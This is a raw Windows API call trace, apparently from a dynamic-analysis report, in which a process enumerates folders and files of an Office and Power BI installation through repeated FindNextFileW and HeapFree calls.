	[0075.650] FindNextFileW (in: hFindFile=0x811b08, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1e56af1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x680214, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x680214, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="zh-HANS", cAlternateFileName="")) returned 1
	[0075.653] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f433b0 | out: hHeap=0x720000) returned 1
	[0075.653] FindNextFileW (in: hFindFile=0x811b08, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf00af60a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa5581c0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa5581c0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="zh-HANT", cAlternateFileName="")) returned 1
	[0075.657] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f433b0 | out: hHeap=0x720000) returned 1
	[0075.660] FindNextFileW (in: hFindFile=0x811b08, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf00af60a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa5581c0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa5581c0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="zh-HANT", cAlternateFileName="")) returned 0
	[0075.660] FindClose (in: hFindFile=0x811b08 | out: hFindFile=0x811b08) returned 1
	[0075.660] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fb33d0 | out: hHeap=0x720000) returned 1
	[0075.660] FindNextFileW (in: hFindFile=0x811e48, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd42039, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x895576a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x895576a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bin", cAlternateFileName="")) returned 0
	[0075.660] FindClose (in: hFindFile=0x811e48 | out: hFindFile=0x811e48) returned 1
	[0075.661] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fa33c8 | out: hHeap=0x720000) returned 1
	[0075.663] FindNextFileW (in: hFindFile=0x811988, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1992fb3, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1992fb3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2283d0f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3688, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MSOSEC.DLL", cAlternateFileName="")) returned 1
	[0075.700] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f433b0 | out: hHeap=0x720000) returned 1
	[0075.700] FindNextFileW (in: hFindFile=0x811988, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd42039, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1525a179, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1525a179, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Power View Excel Add-in", cAlternateFileName="POWERV~1")) returned 1
	[0075.719] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ff33f0 | out: hHeap=0x720000) returned 1
	[0075.720] FindNextFileW (in: hFindFile=0x811948, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf12dd5ae, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x133819a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x133819a5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg", cAlternateFileName="")) returned 1
	[0075.755] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ff33f0 | out: hHeap=0x720000) returned 1
	[0075.755] FindNextFileW (in: hFindFile=0x811948, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x133a7bf5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x133a7bf5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x133cde53, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4090, dwReserved0=0x0, dwReserved1=0x0, cFileName="BI-Report.png", cAlternateFileName="BI-REP~1.PNG")) returned 1
	[0075.758] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ff33f0 | out: hHeap=0x720000) returned 1
	[0075.758] FindNextFileW (in: hFindFile=0x811948, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf9a9d821, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x133cde53, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x133cde53, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs", cAlternateFileName="")) returned 1
	[0075.760] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ff33f0 | out: hHeap=0x720000) returned 1
	[0075.760] FindNextFileW (in: hFindFile=0x811948, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6a6473, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1341a2e5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1341a2e5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da", cAlternateFileName="")) returned 1
	[0075.765] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ff33f0 | out: hHeap=0x720000) returned 1
	[0075.765] FindNextFileW (in: hFindFile=0x811948, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6354def, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x133f40a9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x133f40a9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de", cAlternateFileName="")) returned 1
	[0075.767] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ff33f0 | out: hHeap=0x720000) returned 1
	[0075.767] FindNextFileW (in: hFindFile=0x811948, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf46b8986, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1341a2e5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1341a2e5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="el", cAlternateFileName="")) returned 1
	[0075.772] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ff33f0 | out: hHeap=0x720000) returned 1
	[0075.772] FindNextFileW (in: hFindFile=0x811948, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf7582db3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1341a2e5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1341a2e5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es", cAlternateFileName="")) returned 1
	[0075.775] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ff33f0 | out: hHeap=0x720000) returned 1
	[0075.775] FindNextFileW (in: hFindFile=0x811948, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1b0f72e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x13440553, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x13440553, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="et", cAlternateFileName="")) returned 1
	[0075.779] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ff33f0 | out: hHeap=0x720000) returned 1
	[0075.779] FindNextFileW (in: hFindFile=0x811948, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6d2a978, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1341a2e5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1341a2e5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="eu", cAlternateFileName="")) returned 1
	[0075.782] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ff33f0 | out: hHeap=0x720000) returned 1
	[0075.782] FindNextFileW (in: hFindFile=0x811948, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf18f9628, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x138defa8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x138defa8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi", cAlternateFileName="")) returned 1
	[0075.787] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ff33f0 | out: hHeap=0x720000) returned 1
	[0075.787] FindNextFileW (in: hFindFile=0x811948, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1ae94c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x13440553, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x13440553, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr", cAlternateFileName="")) returned 1
	[0075.788] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ff33f0 | out: hHeap=0x720000) returned 1
	[0075.788] FindNextFileW (in: hFindFile=0x811948, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf9ac3a61, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x13aced2b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x13aced2b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="gl", cAlternateFileName="")) returned 1
	[0075.792] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ff33f0 | out: hHeap=0x720000) returned 1
	[0075.792] FindNextFileW (in: hFindFile=0x811948, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4a98712, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x13a8299e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x13a8299e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he", cAlternateFileName="")) returned 1
	[0075.795] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ff33f0 | out: hHeap=0x720000) returned 1
	[0075.795] FindNextFileW (in: hFindFile=0x811948, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa806c3d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1428e945, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1428e945, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hi", cAlternateFileName="")) returned 1
	[0075.798] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ff33f0 | out: hHeap=0x720000) returned 1
	[0075.798] FindNextFileW (in: hFindFile=0x811948, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf7beb2bc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x13b67741, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x13b67741, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr", cAlternateFileName="")) returned 1
	[0075.802] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ff33f0 | out: hHeap=0x720000) returned 1
	[0075.802] FindNextFileW (in: hFindFile=0x811948, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6164f96, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x14648313, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x14648313, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu", cAlternateFileName="")) returned 1
	[0075.804] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ff33f0 | out: hHeap=0x720000) returned 1
	[0075.804] FindNextFileW (in: hFindFile=0x811948, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf18f9628, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1434d390, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1434d390, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="id", cAlternateFileName="")) returned 1
	[0075.809] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ff33f0 | out: hHeap=0x720000) returned 1
	[0075.810] FindNextFileW (in: hFindFile=0x811948, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf964b3dd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x14969496, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x14969496, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it", cAlternateFileName="")) returned 1
	[0075.810] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ff33f0 | out: hHeap=0x720000) returned 1
	[0075.810] FindNextFileW (in: hFindFile=0x811948, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf15d84bd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x146e0bdc, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x146e0bdc, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja", cAlternateFileName="")) returned 1
	[0075.814] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ff33f0 | out: hHeap=0x720000) returned 1
	[0075.814] FindNextFileW (in: hFindFile=0x811948, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfae6f174, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x14b330aa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x14b330aa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="kk", cAlternateFileName="")) returned 1
	[0076.556] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ff33f0 | out: hHeap=0x720000) returned 1
	[0076.556] FindNextFileW (in: hFindFile=0x811948, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf17ee5c3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x14ac0994, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x14ac0994, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko", cAlternateFileName="")) returned 1
	[0076.559] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ff33f0 | out: hHeap=0x720000) returned 1
	[0076.559] FindNextFileW (in: hFindFile=0x811948, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf7b529d9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x152a6704, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x152a6704, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lt", cAlternateFileName="")) returned 1
	[0076.562] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ff33f0 | out: hHeap=0x720000) returned 1
	[0076.562] FindNextFileW (in: hFindFile=0x811948, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf035e09d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1525a179, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1525a179, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lv", cAlternateFileName="")) returned 1
	[0076.564] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ff33f0 | out: hHeap=0x720000) returned 1
	[0076.564] FindNextFileW (in: hFindFile=0x811948, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf42b29f3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf42b29f3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf42d8c51, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x15f460, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerBI.Diagnostics.dll", cAlternateFileName="MICROS~1.DLL")) returned 1
	[0076.569] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ff33f0 | out: hHeap=0x720000) returned 1
	[0076.569] FindNextFileW (in: hFindFile=0x811948, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x718b80, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x15a3fea8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15a3fea8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl", cAlternateFileName="")) returned 1
	[0076.573] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ff33f0 | out: hHeap=0x720000) returned 1
	[0076.573] FindNextFileW (in: hFindFile=0x811948, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf18f9628, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15b71118, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15b71118, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="no", cAlternateFileName="")) returned 1
	[0076.575] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ff33f0 | out: hHeap=0x720000) returned 1
	[0076.575] FindNextFileW (in: hFindFile=0x811948, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf44c8b33, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15b24c93, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15b24c93, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl", cAlternateFileName="")) returned 1
	[0076.578] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ff33f0 | out: hHeap=0x720000) returned 1
	[0076.578] FindNextFileW (in: hFindFile=0x811948, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff0bc27, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15bbd5ad, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15bbd5ad, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt", cAlternateFileName="")) returned 1
	[0076.583] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ff33f0 | out: hHeap=0x720000) returned 1
	[0076.583] FindNextFileW (in: hFindFile=0x811948, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf475131d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15be380c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15be380c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-PT", cAlternateFileName="")) returned 1
	[0076.586] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ff33f0 | out: hHeap=0x720000) returned 1
	[0076.586] FindNextFileW (in: hFindFile=0x811948, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6ac83cd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15d3adab, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15d3adab, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro", cAlternateFileName="")) returned 1
	[0076.588] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fe33e8 | out: hHeap=0x720000) returned 1
	[0076.588] FindNextFileW (in: hFindFile=0x811948, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe00baf, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15d14b21, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15d14b21, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru", cAlternateFileName="")) returned 1
	[0076.591] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fe33e8 | out: hHeap=0x720000) returned 1
	[0076.591] FindNextFileW (in: hFindFile=0x811948, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6c6bda4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15e92299, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15e92299, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk", cAlternateFileName="")) returned 1
	[0076.594] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fe33e8 | out: hHeap=0x720000) returned 1
	[0076.594] FindNextFileW (in: hFindFile=0x811948, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1b359a5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15e45dad, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15e45dad, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl", cAlternateFileName="")) returned 1
	[0076.597] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fe33e8 | out: hHeap=0x720000) returned 1
